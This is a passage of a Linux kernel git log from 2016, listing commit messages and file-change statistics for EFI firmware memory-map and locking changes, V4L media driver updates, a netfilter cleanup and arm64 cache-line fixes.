lib/ucs2_string: Speed up ucs2_utf8size() No need to calculate the string length on every loop iteration. Signed-off-by: Lukas Wunner Cc: Peter Jones Signed-off-by: Matt Fleming lib/ucs2_string.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d520dd1f348dcaafcb8ce804b2a5ebb1be004719 Author: Markus Elfring Date: Sun Jul 24 10:16:56 2016 +0200 firmware-gsmi: Delete an unnecessary check before the function call "dma_pool_destroy" The dma_pool_destroy() function tests whether its argument is NULL and then returns immediately. Thus the test around the call is not needed. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Cc: Greg KH Cc: Julia Lawall Cc: Mike Waychison Cc: Michel Lespinasse Signed-off-by: Matt Fleming drivers/firmware/google/gsmi.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit ac0e94b63e65f9c6d2f3c49107118e2228236db4 Author: Colin Ian King Date: Wed Jul 20 11:11:06 2016 +0100 x86/efi: Initialize status to ensure garbage is not returned on small size Although very unlikey, if size is too small or zero, then we end up with status not being set and returning garbage. Instead, initializing status to EFI_INVALID_PARAMETER to indicate that size is invalid in the calls to setup_uga32 and setup_uga64. Signed-off-by: Colin Ian King Cc: "H. Peter Anvin" Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Matt Fleming arch/x86/boot/compressed/eboot.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit dce48e351c0d42014e5fb16ac3eb099e11b7e716 Author: Ard Biesheuvel Date: Fri Jul 15 21:36:31 2016 +0200 efi: Replace runtime services spinlock with semaphore The purpose of the efi_runtime_lock is to prevent concurrent calls into the firmware. There is no need to use spinlocks here, as long as we ensure that runtime service invocations from an atomic context (i.e., EFI pstore) cannot block. So use a semaphore instead, and use down_trylock() in the nonblocking case. We don't use a mutex here because the mutex_trylock() function must not be called from interrupt context, whereas the down_trylock() can. Signed-off-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Mark Rutland Cc: Sylvain Chouleur Signed-off-by: Matt Fleming drivers/firmware/efi/efi.c | 3 ++ drivers/firmware/efi/runtime-wrappers.c | 81 ++++++++++++++++++++------------- include/linux/efi.h | 1 + 3 files changed, 53 insertions(+), 32 deletions(-) commit 21b3ddd39feecd2f4d6c52bcd30f0a4fa14f125a Author: Sylvain Chouleur Date: Fri Jul 15 21:36:30 2016 +0200 efi: Don't use spinlocks for efi vars All efivars operations are protected by a spinlock which prevents interruptions and preemption. This is too restricted, we just need a lock preventing concurrency. The idea is to use a semaphore of count 1 and to have two ways of locking, depending on the context: - In interrupt context, we call down_trylock(), if it fails we return an error - In normal context, we call down_interruptible() We don't use a mutex here because the mutex_trylock() function must not be called from interrupt context, whereas the down_trylock() can. Signed-off-by: Sylvain Chouleur Signed-off-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Mark Rutland Cc: Sylvain Chouleur Signed-off-by: Matt Fleming drivers/firmware/efi/efi-pstore.c | 36 +++++++--- drivers/firmware/efi/efivars.c | 22 ++++-- drivers/firmware/efi/vars.c | 137 ++++++++++++++++++++++---------------- fs/efivarfs/inode.c | 5 +- fs/efivarfs/super.c | 9 ++- include/linux/efi.h | 6 +- 6 files changed, 139 insertions(+), 76 deletions(-) commit 217b27d4671a0a3f34147f1b341683d36b7457db Author: Sylvain Chouleur Date: Fri Jul 15 21:36:29 2016 +0200 efi: Use a file local lock for efivars This patch replaces the spinlock in the efivars struct with a single lock for the whole vars.c file. The goal of this lock is to protect concurrent calls to efi variable services, registering and unregistering. This allows us to register new efivars operations without having in-progress call. Signed-off-by: Sylvain Chouleur Signed-off-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Mark Rutland Cc: Sylvain Chouleur Signed-off-by: Matt Fleming drivers/firmware/efi/vars.c | 83 +++++++++++++++++++++++++-------------------- include/linux/efi.h | 6 ---- 2 files changed, 47 insertions(+), 42 deletions(-) commit 2ead3084e3fc37d42f379cca8753b458d8f9ba25 Author: Ard Biesheuvel Date: Mon Jul 11 21:00:46 2016 +0200 efi/arm*: esrt: Add missing call to efi_esrt_init() ESRT support is built by default for all architectures that define CONFIG_EFI. However, this support was not wired up yet for ARM/arm64, since efi_esrt_init() was never called. So add the missing call. Signed-off-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Mark Rutland Cc: Peter Jones Signed-off-by: Matt Fleming drivers/firmware/efi/arm-init.c | 1 + 1 file changed, 1 insertion(+) commit f58a37b2e01f91c23af457a7662f6b5a1e9f41e0 Author: Ard Biesheuvel Date: Mon Jul 11 21:00:45 2016 +0200 efi/esrt: Use memremap not ioremap to access ESRT table in memory On ARM and arm64, ioremap() and memremap() are not interchangeable like on x86, and the use of ioremap() on ordinary RAM is typically flagged as an error if the memory region being mapped is also covered by the linear mapping, since that would lead to aliases with conflicting cacheability attributes. Since what we are dealing with is not an I/O region with side effects, using ioremap() here is arguably incorrect anyway, so let's replace it with memremap() instead. Acked-by: Peter Jones Signed-off-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Mark Rutland Signed-off-by: Matt Fleming drivers/firmware/efi/esrt.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 4bc9f92e64c81192dcca1c495354bcc7c3b43e7d Author: Matt Fleming Date: Thu Jun 23 11:36:32 2016 +0100 x86/efi-bgrt: Use efi_mem_reserve() to avoid copying image data efi_mem_reserve() allows us to permanently mark EFI boot services regions as reserved, which means we no longer need to copy the image data out and into a separate buffer. Leaving the data in the original boot services region has the added benefit that BGRT images can now be passed across kexec reboot. Reviewed-by: Josh Triplett Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Cc: Josh Boyer Cc: Andy Lutomirski Cc: Môshe van der Sterre Signed-off-by: Matt Fleming arch/x86/platform/efi/efi-bgrt.c | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) commit 8e80632fb23f021ce5a6957f2edcdae4645a7030 Author: Matt Fleming Date: Tue Mar 1 23:08:03 2016 +0000 efi/esrt: Use efi_mem_reserve() and avoid a kmalloc() We can use the new efi_mem_reserve() API to mark the ESRT table as reserved forever and save ourselves the trouble of copying the data out into a kmalloc buffer. The added advantage is that now the ESRT driver will work across kexec reboot. Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Signed-off-by: Matt Fleming drivers/firmware/efi/esrt.c | 20 ++++---------------- 1 file changed, 4 insertions(+), 16 deletions(-) commit 31ce8cc68180803aa481c0c1daac29d8eaceca9d Author: Matt Fleming Date: Tue Mar 1 23:02:56 2016 +0000 efi/runtime-map: Use efi.memmap directly instead of a copy Now that efi.memmap is available all of the time there's no need to allocate and build a separate copy of the EFI memory map. Furthermore, efi.memmap contains boot services regions but only those regions that have been reserved via efi_mem_reserve(). Using efi.memmap allows us to pass boot services across kexec reboot so that the ESRT and BGRT drivers will now work. Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Signed-off-by: Matt Fleming arch/x86/platform/efi/efi.c | 40 -------------------------------------- drivers/firmware/efi/runtime-map.c | 35 +++++++++++++-------------------- include/linux/efi.h | 4 ---- 3 files changed, 13 insertions(+), 66 deletions(-) commit 816e76129ed5fadd28e526c43397c79775194b5c Author: Matt Fleming Date: Mon Feb 29 21:22:52 2016 +0000 efi: Allow drivers to reserve boot services forever Today, it is not possible for drivers to reserve EFI boot services for access after efi_free_boot_services() has been called on x86. For ARM/arm64 it can be done simply by calling memblock_reserve(). Having this ability for all three architectures is desirable for a couple of reasons, 1) It saves drivers copying data out of those regions 2) kexec reboot can now make use of things like ESRT Instead of using the standard memblock_reserve() which is insufficient to reserve the region on x86 (see efi_reserve_boot_services()), a new API is introduced in this patch; efi_mem_reserve(). efi.memmap now always represents which EFI memory regions are available. On x86 the EFI boot services regions that have not been reserved via efi_mem_reserve() will be removed from efi.memmap during efi_free_boot_services(). This has implications for kexec, since it is not possible for a newly kexec'd kernel to access the same boot services regions that the initial boot kernel had access to unless they are reserved by every kexec kernel in the chain. Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Signed-off-by: Matt Fleming arch/x86/platform/efi/quirks.c | 121 +++++++++++++++++++++++++++++++++++++---- drivers/firmware/efi/efi.c | 30 ++++++++++ include/linux/efi.h | 1 + 3 files changed, 141 insertions(+), 11 deletions(-) commit c45f4da33a297f85435f8dccb26a24852ea01bb9 Author: Matt Fleming Date: Wed Jun 22 16:54:00 2016 +0100 efi: Add efi_memmap_install() for installing new EFI memory maps While efi_memmap_init_{early,late}() exist for architecture code to install memory maps from firmware data and for the virtual memory regions respectively, drivers don't care which stage of the boot we're at and just want to swap the existing memmap for a modified one. efi_memmap_install() abstracts the details of how the new memory map should be mapped and the existing one unmapped. Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Cc: Taku Izumi Signed-off-by: Matt Fleming drivers/firmware/efi/fake_mem.c | 8 +------- drivers/firmware/efi/memmap.c | 25 +++++++++++++++++++++++++ include/linux/efi.h | 1 + 3 files changed, 27 insertions(+), 7 deletions(-) commit 60863c0d1a96b740048cc7d94a2d00d6f89ba3d8 Author: Matt Fleming Date: Mon Feb 29 20:30:39 2016 +0000 efi: Split out EFI memory map functions into new file Also move the functions from the EFI fake mem driver since future patches will require access to the memmap insertion code even if CONFIG_EFI_FAKE_MEM isn't enabled. This will be useful when we need to build custom EFI memory maps to allow drivers to mark regions as reserved. Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Cc: Taku Izumi Signed-off-by: Matt Fleming drivers/firmware/efi/Makefile | 2 +- drivers/firmware/efi/efi.c | 129 ------------------- drivers/firmware/efi/fake_mem.c | 143 +-------------------- drivers/firmware/efi/memmap.c | 267 ++++++++++++++++++++++++++++++++++++++++ include/linux/efi.h | 10 ++ 5 files changed, 284 insertions(+), 267 deletions(-) commit c8c1a4c5e4ead0d2dcf0f0bcb8bdbdcf877fb3bb Author: Matt Fleming Date: Mon Feb 29 16:58:18 2016 +0000 efi/fake_mem: Refactor main two code chunks into functions There is a whole load of generic EFI memory map code inside of the fake_mem driver which is better suited to being grouped with the rest of the generic EFI code for manipulating EFI memory maps. In preparation for that, this patch refactors the core code, so that it's possible to move entire functions later. Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Cc: Taku Izumi Signed-off-by: Matt Fleming drivers/firmware/efi/fake_mem.c | 229 +++++++++++++++++++++++----------------- 1 file changed, 134 insertions(+), 95 deletions(-) commit dca0f971ea6fcf2f1bb78f7995adf80da9f4767f Author: Matt Fleming Date: Sat Feb 27 15:52:50 2016 +0000 efi: Add efi_memmap_init_late() for permanent EFI memmap Drivers need a way to access the EFI memory map at runtime. ARM and arm64 currently provide this by remapping the EFI memory map into the vmalloc space before setting up the EFI virtual mappings. x86 does not provide this functionality which has resulted in the code in efi_mem_desc_lookup() where it will manually map individual EFI memmap entries if the memmap has already been torn down on x86, /* * If a driver calls this after efi_free_boot_services, * ->map will be NULL, and the target may also not be mapped. * So just always get our own virtual map on the CPU. * */ md = early_memremap(p, sizeof (*md)); There isn't a good reason for not providing a permanent EFI memory map for runtime queries, especially since the EFI regions are not mapped into the standard kernel page tables. Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Signed-off-by: Matt Fleming arch/x86/platform/efi/efi.c | 44 ++++++++---- arch/x86/platform/efi/quirks.c | 2 - drivers/firmware/efi/arm-runtime.c | 4 +- drivers/firmware/efi/efi.c | 135 ++++++++++++++++++++++++++----------- include/linux/efi.h | 2 + 5 files changed, 130 insertions(+), 57 deletions(-) commit 9479c7cebfb568f8b8b424be7f1cac120e9eea95 Author: Matt Fleming Date: Fri Feb 26 21:22:05 2016 +0000 efi: Refactor efi_memmap_init_early() into arch-neutral code Every EFI architecture apart from ia64 needs to setup the EFI memory map at efi.memmap, and the code for doing that is essentially the same across all implementations. Therefore, it makes sense to factor this out into the common code under drivers/firmware/efi/. The only slight variation is the data structure out of which we pull the initial memory map information, such as physical address, memory descriptor size and version, etc. We can address this by passing a generic data structure (struct efi_memory_map_data) as the argument to efi_memmap_init_early() which contains the minimum info required for initialising the memory map. In the process, this patch also fixes a few undesirable implementation differences: - ARM and arm64 were failing to clear the EFI_MEMMAP bit when unmapping the early EFI memory map. EFI_MEMMAP indicates whether the EFI memory map is mapped (not the regions contained within) and can be traversed. It's more correct to set the bit as soon as we memremap() the passed in EFI memmap. - Rename efi_unmmap_memmap() to efi_memmap_unmap() to adhere to the regular naming scheme. This patch also uses a read-write mapping for the memory map instead of the read-only mapping currently used on ARM and arm64. x86 needs the ability to update the memory map in-place when assigning virtual addresses to regions (efi_map_region()) and tagging regions when reserving boot services (efi_reserve_boot_services()). There's no way for the generic fake_mem code to know which mapping to use without introducing some arch-specific constant/hook, so just use read-write since read-only is of dubious value for the EFI memory map. Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Leif Lindholm Cc: Peter Jones Cc: Borislav Petkov Cc: Mark Rutland Signed-off-by: Matt Fleming arch/x86/include/asm/efi.h | 1 - arch/x86/platform/efi/efi.c | 66 ++++++++++---------------------------- arch/x86/platform/efi/quirks.c | 4 +-- drivers/firmware/efi/arm-init.c | 17 +++++----- drivers/firmware/efi/arm-runtime.c | 2 +- drivers/firmware/efi/efi.c | 46 ++++++++++++++++++++++++++ drivers/firmware/efi/fake_mem.c | 15 +++++---- include/linux/efi.h | 16 +++++++++ 8 files changed, 99 insertions(+), 68 deletions(-) commit ab72a27da4c6c19b0e3d6d7556fdd4afb581c8ac Author: Matt Fleming Date: Mon Jun 20 14:36:51 2016 +0100 x86/efi: Consolidate region mapping logic EFI regions are currently mapped in two separate places. The bulk of the work is done in efi_map_regions() but when CONFIG_EFI_MIXED is enabled the additional regions that are required when operating in mixed mode are mapping in efi_setup_page_tables(). Pull everything into efi_map_regions() and refactor the test for which regions should be mapped into a should_map_region() function. Generously sprinkle comments to clarify the different cases. Acked-by: Borislav Petkov Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Signed-off-by: Matt Fleming arch/x86/platform/efi/efi.c | 50 ++++++++++++++++++++++++++++++++++++------ arch/x86/platform/efi/efi_64.c | 20 ----------------- 2 files changed, 43 insertions(+), 27 deletions(-) commit 4971531af319f8bdd9a81a87eecfb6b19f2f8c8e Author: Matt Fleming Date: Tue Jun 21 23:11:38 2016 +0100 x86/efi: Test for EFI_MEMMAP functionality when iterating EFI memmap Both efi_find_mirror() and efi_fake_memmap() really want to know whether the EFI memory map is available, not just whether the machine was booted using EFI. efi_fake_memmap() even has a check for EFI_MEMMAP at the start of the function. Since we've already got other code that has this dependency, merge everything under one if() conditional, and remove the now superfluous check from efi_fake_memmap(). Tested-by: Dave Young [kexec/kdump] Tested-by: Ard Biesheuvel [arm] Acked-by: Ard Biesheuvel Cc: Taku Izumi Cc: Tony Luck Cc: Xishi Qiu Cc: Kamezawa Hiroyuki Signed-off-by: Matt Fleming arch/x86/kernel/setup.c | 17 ++++++++--------- drivers/firmware/efi/fake_mem.c | 2 +- 2 files changed, 9 insertions(+), 10 deletions(-) commit 8a5a2ba86ab8fc12267fea974b9cd730ad2dee24 Author: Sergei Shtylyov Date: Fri Aug 19 18:57:59 2016 -0300 [media] v4l: vsp1: Add R8A7792 VSP1V support Add support for the R8A7792 VSP1V cores which are different from the other gen2 VSP1 cores. Signed-off-by: Sergei Shtylyov Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_drv.c | 22 ++++++++++++++++++++++ drivers/media/platform/vsp1/vsp1_regs.h | 2 ++ 2 files changed, 24 insertions(+) commit bffba4737bf39542c4cb4d276f4bf18cfa0ffa21 Author: Laurent Pinchart Date: Thu Aug 18 10:16:17 2016 -0300 [media] v4l: vsp1: Fix tri-planar format support through DRM API The vsp1 driver supports tri-planar formats, but the DRM API only passes two memory addresses. Add a third one. Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_drm.c | 6 +++--- include/media/vsp1.h | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) commit 47b4bafd2c510726fd653e7f165634f774e36fb0 Author: Laurent Pinchart Date: Tue Jul 12 04:59:52 2016 -0300 [media] v4l: vsp1: Report device model and rev through media device information Instead of hardcoding the media device model and hardware revision to "VSP1" and 0 respectively, report the actual hardware device model and IP version number. Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1.h | 2 ++ drivers/media/platform/vsp1/vsp1_drv.c | 21 +++++++++++++++------ 2 files changed, 17 insertions(+), 6 deletions(-) commit f077aa7774bec90dd0e20708f8d5032a7354bfa3 Author: Kieran Bingham Date: Thu Jun 9 14:06:43 2016 -0300 [media] v4l: rcar-fcp: Extend compatible list to support the FDP The FCP must be powered up for the FDP1 to function, even when the FDP1 does not make use of the FCNL features. Extend the compatible list to allow us to use the power domain and runtime-pm support. Signed-off-by: Kieran Bingham Reviewed-by: Laurent Pinchart Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-fcp.c | 1 + 1 file changed, 1 insertion(+) commit fd44aa9a254b18176ec3792a18e7de6977030ca8 Author: Laurent Pinchart Date: Wed Aug 17 09:57:37 2016 -0300 [media] v4l: rcar-fcp: Don't force users to check for disabled FCP support The rcar_fcp_enable() function immediately returns successfully when the FCP device pointer is NULL to avoid forcing the users to check the FCP device manually before every call. However, the stub version of the function used when the FCP driver is disabled returns -ENOSYS unconditionally, resulting in a different API contract for the two versions of the function. As a user that requires FCP support will fail at probe time when calling rcar_fcp_get() if the FCP driver is disabled, the stub version of the rcar_fcp_enable() function will only be called with a NULL FCP device. We can thus return 0 unconditionally to align the behaviour with the normal version of the function. Reported-by: Sergei Shtylyov Signed-off-by: Laurent Pinchart Reviewed-by: Geert Uytterhoeven Signed-off-by: Mauro Carvalho Chehab include/media/rcar-fcp.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6eaafbdb668b09b1a06841ccddc405b31c216233 Author: Laurent Pinchart Date: Tue Aug 9 12:36:41 2016 -0300 [media] v4l: rcar-fcp: Keep the coding style consistent The Renesas multimedia drivers use ret to store return values, fix the only exception in the rcar-fcp driver to keep the coding style consistent. Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-fcp.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit c49148e87a427e2cfb1fda760534021cfa251f45 Author: Laurent Pinchart Date: Tue Jun 28 10:20:10 2016 -0300 [media] v4l: ioctl: Clear the v4l2_pix_format_mplane reserved field The S_FMT and TRY_FMT handlers in multiplane mode attempt at clearing the reserved fields of the v4l2_format structure after the pix_mp member. However, the reserved fields are inside pix_mp, not after it. Signed-off-by: Laurent Pinchart Tested-by: Kieran Bingham Acked-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/v4l2-ioctl.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 147fcfca196d0c16ebe40bcdca18e8f3272a6fda Author: Kieran Bingham Date: Thu Jun 30 13:50:29 2016 -0300 [media] dt-bindings: Document Renesas R-Car FCP power-domains usage The power domain must be specified to bring the device out of module standby. Document this in the bindings provided, so that new additions are not missed. Signed-off-by: Kieran Bingham Acked-by: Rob Herring Acked-by: Laurent Pinchart Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Documentation/devicetree/bindings/media/renesas,fcp.txt | 5 +++++ 1 file changed, 5 insertions(+) commit 306dbe5548b4b3cba8fe3c3fa6e08051f85007ab Author: Kieran Bingham Date: Thu Jun 30 13:50:28 2016 -0300 [media] dt-bindings: Update Renesas R-Car FCP DT bindings for FCPF The FCP driver can also support the FCPF variant for FDP1 compatible processing. Signed-off-by: Kieran Bingham Acked-by: Rob Herring Reviewed-by: Laurent Pinchart Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Documentation/devicetree/bindings/media/renesas,fcp.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 3933186aec80f66694cbf38ee21bb7011e935dcf Author: Sakari Ailus Date: Mon Sep 5 04:09:42 2016 -0300 [media] ad5820: Use bool for boolean values The driver used integers for what boolean would have been a better fit. Use boolean instead. Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/ad5820.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit 68429f50ab60074e58b98010103fcc5bac4afd54 Author: Laurent Pinchart Date: Tue Nov 3 00:27:51 2015 -0200 [media] media: Move media_device link_notify operation to an ops structure This will allow adding new operations without increasing the media_device structure size for drivers that don't implement any media device operation. Signed-off-by: Laurent Pinchart Signed-off-by: Sakari Ailus Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/media-entity.c | 11 ++++++----- drivers/media/platform/exynos4-is/media-dev.c | 6 +++++- drivers/media/platform/omap3isp/isp.c | 6 +++++- drivers/staging/media/omap4iss/iss.c | 6 +++++- include/media/media-device.h | 16 ++++++++++++---- 5 files changed, 33 insertions(+), 12 deletions(-) commit 3c15b8e112d7351b2586c649a759318548523364 Author: Liping Zhang Date: Tue Sep 6 22:35:47 2016 +0800 netfilter: nf_conntrack: remove unused ctl_table_path member in nf_conntrack_l3proto After commit adf0516845bc ("netfilter: remove ip_conntrack* sysctl compat code"), ctl_table_path member in struct nf_conntrack_l3proto{} is not used anymore, remove it. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack_l3proto.h | 4 ---- 1 file changed, 4 deletions(-) commit dc3cdbc9d4dc22948d7f934789ee71baba55bc82 Author: Sakari Ailus Date: Tue Sep 6 07:32:28 2016 -0300 [media] smiapp: Add support for 14 and 16 bits per sample depths SMIA++ supports 14 and 16 bits per pixel formats as well. Add support to these formats in the driver. Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/smiapp/smiapp-core.c | 8 ++++++++ drivers/media/i2c/smiapp/smiapp.h | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) commit 82dec0a7db16f7691470b58c28e79a2f65e829c4 Author: Sakari Ailus Date: Mon Jun 27 11:15:57 2016 -0300 [media] media: Add 1X16 16-bit raw bayer media bus code definitions The codes will be called: MEDIA_BUS_FMT_SBGGR16_1X16 MEDIA_BUS_FMT_SGBRG16_1X16 MEDIA_BUS_FMT_SGRBG16_1X16 MEDIA_BUS_FMT_SRGGB16_1X16 Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/subdev-formats.rst | 290 +++++++++++++++++++++++- include/uapi/linux/media-bus-format.h | 6 +- 2 files changed, 294 insertions(+), 2 deletions(-) commit cfe41359942b933ee0058c73df7dcc00dae64885 Author: Jouni Ukkonen Date: Mon Apr 25 09:19:10 2016 -0300 [media] media: Add 1X14 14-bit raw bayer media bus code definitions The codes will be called: MEDIA_BUS_FMT_SBGGR14_1X14 MEDIA_BUS_FMT_SGBRG14_1X14 MEDIA_BUS_FMT_SGRBG14_1X14 MEDIA_BUS_FMT_SRGGB14_1X14 Signed-off-by: Jouni Ukkonen Signed-off-by: Sakari Ailus Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/subdev-formats.rst | 258 +++++++++++++++++++++++- include/uapi/linux/media-bus-format.h | 6 +- 2 files changed, 262 insertions(+), 2 deletions(-) commit e42c4754181fddbde843197340b1e175ba9e777c Author: Sakari Ailus Date: Thu Jul 7 03:10:49 2016 -0300 [media] doc-rst: 16-bit BGGR is always 16 bits The V4L2_PIX_FMT_SBGGR16 format is documented to contain samples of fewer than 16 bits. However, we do have specific definitions for smaller sample sizes. Therefore, this note is redundant from the API point of view. Currently only two drivers, am437x and davinci, use the V4L2_PIX_FMT_SBGGR16 pixelformat currently. The sampling precision is understood to be 16 bits in all current cases. Remove the note on sampling precision. Signed-off-by: Sakari Ailus Acked-by: Lad, Prabhakar Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-sbggr16.rst | 5 ----- 1 file changed, 5 deletions(-) commit 96c59bfbf6298d975d92bf10b815e21702a80d54 Author: Sakari Ailus Date: Fri Aug 5 07:20:21 2016 -0300 [media] doc-rst: Unify documentation of the 8-bit bayer formats The other raw bayer formats had a single sample depth dependent definition whereas the 8-bit formats had one page for each. Unify the documentation of the 8-bit formats. Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-rgb.rst | 3 - Documentation/media/uapi/v4l/pixfmt-sbggr8.rst | 77 ------------------------- Documentation/media/uapi/v4l/pixfmt-sgbrg8.rst | 80 -------------------------- Documentation/media/uapi/v4l/pixfmt-sgrbg8.rst | 80 -------------------------- Documentation/media/uapi/v4l/pixfmt-srggb8.rst | 38 ++++++------ 5 files changed, 20 insertions(+), 258 deletions(-) commit 88646d37dabb3df5030df2f877e91cdb313ff63f Author: Sakari Ailus Date: Mon Jun 20 12:53:55 2016 -0300 [media] doc-rst: Clean up raw bayer pixel format definitions - Explicitly state that the most significant n bits are zeroed on 10 and 12 bpp formats. - Remove extra comma from the last entry of the format list - Add a missing colon before a list - Use figures versus word numerals consistently Signed-off-by: Sakari Ailus Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-srggb10.rst | 15 ++++++++------- Documentation/media/uapi/v4l/pixfmt-srggb10p.rst | 8 ++++---- Documentation/media/uapi/v4l/pixfmt-srggb12.rst | 5 +++-- 3 files changed, 15 insertions(+), 13 deletions(-) commit f5176d3807b3dfba3267cc0b6f4ae4915dc1d7a8 Author: Sakari Ailus Date: Thu May 26 08:20:42 2016 -0300 [media] doc-rst: Fix number of zeroed high order bits in 12-bit raw format defs The number of high order bits in samples was documented to be 6 for 12-bit data. This is clearly wrong, fix it. Signed-off-by: Sakari Ailus Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-srggb12.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0e27a7fce60f8c334ef59de0fbf5df8744e752e0 Author: Robin Murphy Date: Wed Sep 7 16:02:31 2016 +0100 arm64: Remove shadowed asm-generic headers We've grown our own versions of bug.h, ftrace.h, pci.h and topology.h, so generating the generic ones as well is unnecessary and a potential source of build hiccups. At the very least, having them present has confused my source-indexing tool, and that simply will not do. Signed-off-by: Robin Murphy Signed-off-by: Will Deacon arch/arm64/include/asm/Kbuild | 4 ---- 1 file changed, 4 deletions(-) commit 72e8138c5dc80be9ef2e4623744dc986c8a15037 Author: Sakari Ailus Date: Fri Mar 11 19:47:36 2016 -0300 [media] doc-rst: Correct the ordering of LSBs of the 10-bit raw packed formats The 10-bit packed raw bayer format documented that the data of the first pixel of a four-pixel group was found in the first byte and the two highest bits of the fifth byte. This was not entirely correct. The two bits in the fifth byte are the two lowest bits. The second pixel occupies the second byte and third and fourth least significant bits and so on. Signed-off-by: Sakari Ailus Acked-by: Aviv Greenberg Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-srggb10p.rst | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 116c81f427ff6c5380850963e3fb8798cc821d2b Author: Suzuki K Poulose Date: Fri Sep 9 14:07:16 2016 +0100 arm64: Work around systems with mismatched cache line sizes Systems with differing CPU i-cache/d-cache line sizes can cause problems with the cache management by software when the execution is migrated from one to another. Usually, the application reads the cache size on a CPU and then uses that length to perform cache operations. However, if it gets migrated to another CPU with a smaller cache line size, things could go completely wrong. To prevent such cases, always use the smallest cache line size among the CPUs. The kernel CPU feature infrastructure already keeps track of the safe value for all CPUID registers including CTR. This patch works around the problem by : For kernel, dynamically patch the kernel to read the cache size from the system wide copy of CTR_EL0. For applications, trap read accesses to CTR_EL0 (by clearing the SCTLR.UCT) and emulate the mrs instruction to return the system wide safe value of CTR_EL0. For faster access (i.e, avoiding to lookup the system wide value of CTR_EL0 via read_system_reg), we keep track of the pointer to table entry for CTR_EL0 in the CPU feature infrastructure. Cc: Mark Rutland Cc: Andre Przywara Cc: Will Deacon Cc: Catalin Marinas Signed-off-by: Suzuki K Poulose Signed-off-by: Will Deacon arch/arm64/include/asm/assembler.h | 24 ++++++++++++++++++++++-- arch/arm64/include/asm/cpufeature.h | 3 ++- arch/arm64/include/asm/esr.h | 8 ++++++++ arch/arm64/include/asm/sysreg.h | 1 + 